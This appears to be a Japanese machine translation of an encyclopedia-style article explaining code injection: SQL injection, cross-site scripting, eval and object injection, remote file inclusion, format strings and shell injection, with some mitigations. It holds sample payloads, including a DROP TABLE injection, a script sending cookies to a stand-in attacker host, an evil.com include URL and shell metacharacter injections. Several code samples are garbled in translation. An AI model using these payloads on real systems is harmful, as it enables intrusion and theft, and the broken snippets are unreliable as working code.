SQLインジェクション編集
SQL インジェクションは、データベースを読んだり変更したり、元のクエリの意味を損なうようなコマンドを注入するために、SQL の構文を利用します。 ページの背後にあるコードは、ユーザー名のリストに対してパスワードをチェックする SQL クエリを生成します。
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
このクエリが任意の行を返す場合、アクセスは許可されます。 しかし、悪意のあるユーザーが有効なユーザー名を入力し、パスワード フィールドに有効なコード (password' OR '1'='1
) を挿入した場合、結果のクエリは次のようになります:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
上記の例では、「パスワード」は空白または無害な文字列であると見なされます。 「'1'='1'
” は常に真となり、多くの行が返され、それによってアクセスが可能になります。
この技術は、複数のステートメントを実行したり、外部プログラムをロードして実行するように改良することもできます。
次のような形式のクエリを想定します:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
敵対者が入力に次のようなものを持つ場合:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
クエリは、
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
結果はテーブルUser
はデータベースから削除されることになります。 これは、;
記号が1つのコマンドの終了と新しいコマンドの開始を意味するために発生する。 --
はコメントの開始を意味します。
Cross-site scriptingEdit
コードインジェクションは、アプリケーションにコードを悪意を持って注入または導入することです。 いくつかの Web サーバーには、ユーザーから小さなメッセージを受け取るゲストブック スクリプトがあり、通常次のようなメッセージを受け取ります:
Very nice site!
しかし悪意のある人は、ゲストブックのコード注入の脆弱性を知っていて、次のようにメッセージを入力するかもしれません:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
もし他のユーザーがページを閲覧すると、注入されたコードが実行されてしまうのです。 このコードにより、攻撃者は他のユーザーになりすますことができます。 しかし、この同じソフトウェア バグは、控えめなユーザーによって誤ってトリガーされ、Web サイトに不正な HTML コードが表示されることがあります。 XSS とは、Web スクリプトまたはそれに類するものへのユーザー入力が、HTML コードまたはスクリプトのチェックなしに、出力 HTML に配置される注入の欠陥を指します。
これらの問題の多くは、可能な入力データ、または特殊データの効果についての誤った仮定に関連しています。
動的評価の脆弱性Edit
攻撃者が eval()
functioncall に入力された文字列のすべてまたは一部を制御できる場合、 eval()
インジェクション脆弱性が発生します。
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
“eval
” という引数は PHP として処理されるので、追加のコマンドを付加できるのですが、この場合 eval()
functioncall の引数は PHP になります。 例えば、”arg “に”10; system('/bin/echo uh-oh')
“を設定すると、サーバー上のプログラム(この場合は”/bin/echo
“)を実行する追加コードが実行されます。
Object injectionEdit
PHPではオブジェクト全体のシリアライズおよびデシリアライズが可能です。 信頼できない入力がデシリアライズ関数に許可された場合、プログラム内の既存のクラスを上書きし、悪意のある攻撃を実行することが可能です。 このようなJoomlaへの攻撃は、2013年に発見されました。
リモートファイルインジェクション編集
この PHP プログラム (リクエストによって指定されたファイルを含む) について考えてみましょう。
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
この例は、blue.php
や red.php
などのカラーファイルのみがロードされるように読めるかもしれませんが、攻撃者は COLOR=http://evil.com/exploit
を提供して PHP に外部ファイルをロードさせることができます。 制御不能なフォーマット文字列
フォーマット文字列のバグは、プログラマーがユーザーから提供されたデータを含む文字列を印刷したいときに最も一般的に現れます。 プログラマは誤って printf("%s", buffer)
ではなく printf(buffer)
と書いてしまうかもしれません。 最初のバージョンは buffer
をフォーマット文字列として解釈し、そこに含まれるあらゆるフォーマット指示を解析する。 このプログラムはユーザに整数と文字列を要求し、ユーザが提供した文字列をエコー出力する。
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
ユーザ入力に%s%s%s%s%s%s%s%s
などのフォーマット指定子のリストがある場合、printf()
がスタックから読み込みを開始する。 最終的には、%s
フォーマット指定子のひとつが、スタック上にある password
のアドレスにアクセスし、Password1
を画面に表示します。
Shell injectionEdit
シェルインジェクション(またはコマンドインジェクション)は Unix シェルから名付けられたものの、ソフトウェアによるコマンドライン実行を許すほとんどのシステムで適用されます。 以下は脆弱なtcshスクリプトの例です。
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
上記が実行ファイル./check
に格納されている場合、シェルコマンド./check " 1 ) evil"
は引数を定数と比較せず、注入されたシェルコマンドevil
を実行しようと試みます。 ここで、攻撃を受けるコードは、攻撃から防御するためにパラメータを検証しようとしていたかもしれないコードそのものです。
シェルコマンドを構成して実行するために使用できる任意の関数は、シェルインジェクション攻撃を開始するための潜在的な手段です。
ウェブブラウザとウェブサーバとのやりとりのようなクライアント・サーバシステムは、シェルインジェクションに対して潜在的な脆弱性を持っています。 Web サーバー上で動作し、funnytext
と呼ばれる外部プログラムを実行して、 ユーザーが送信した単語を他の単語に置き換えることができる、 次の短い PHP プログラムを考えてみましょう。 このコマンドの一部は、Web ブラウザが提供する URL から取得されているため、この URL から悪意のあるシェルコマンドを注入することが可能です。 様々なシェル機能の構文を利用することで、いくつかの方法でこのプログラムにコードを注入することができます(このリストは完全なものではありません)。
シェル機能 | USER_INPUT 値 |
結果のシェルコマンド | 説明 |
---|---|---|---|
連続実行 | ; malicious_command |
/bin/funnytext ; malicious_command |
実行 funnytext 次に malicious_command 実行される。 |
パイプライン | | malicious_command |
/bin/funnytext | malicious_command |
funnytext の出力をmalicious_command への入力として送ります。 |
コマンド代替 | `malicious_command` |
/bin/funnytext `malicious_command` |
malicious_command の出力を引数にfunnytext として送ります。 |
コマンド置換 | $(malicious_command) |
/bin/funnytext $(malicious_command) |
malicious_command の出力をfunnytext への引数として送出。 |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
funnytext が終了ステータス0(成功)を返したら、malicious_command を実行する。 |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
もしfunnytext が0でない終了ステータス(エラー)を返したらmalicious_command を実行する。 |
出力リダイレクト | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
.bashrc ファイルの内容をfunnytext の出力に上書きする。 |
入力リダイレクト | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
入力として .bashrc ファイルの内容を funnytext に送る。 |
シェルコマンドを作るために使われる文字列を適切にエスケープしたり引用する関数も言語によってはある:
- PHP:
escapeshellarg()
およびescapeshellcmd()
- Python。
shlex.quote()
しかしながら、これらの関数について知り、学ぶこと、そしてシェルコマンドを使うたびにそれらを利用することを忘れないことがプログラマに課せられた負担であることに変わりはない。
より安全な代替案は、シェルを通してではなく、外部プログラムを直接実行する API を使用することで、シェルインジェクションの可能性を防ぐことです。 しかし、これらの API はシェルの様々な便利な機能をサポートしていなかったり、 簡潔なシェル構文と比較してより面倒で冗長であったりする傾向があります。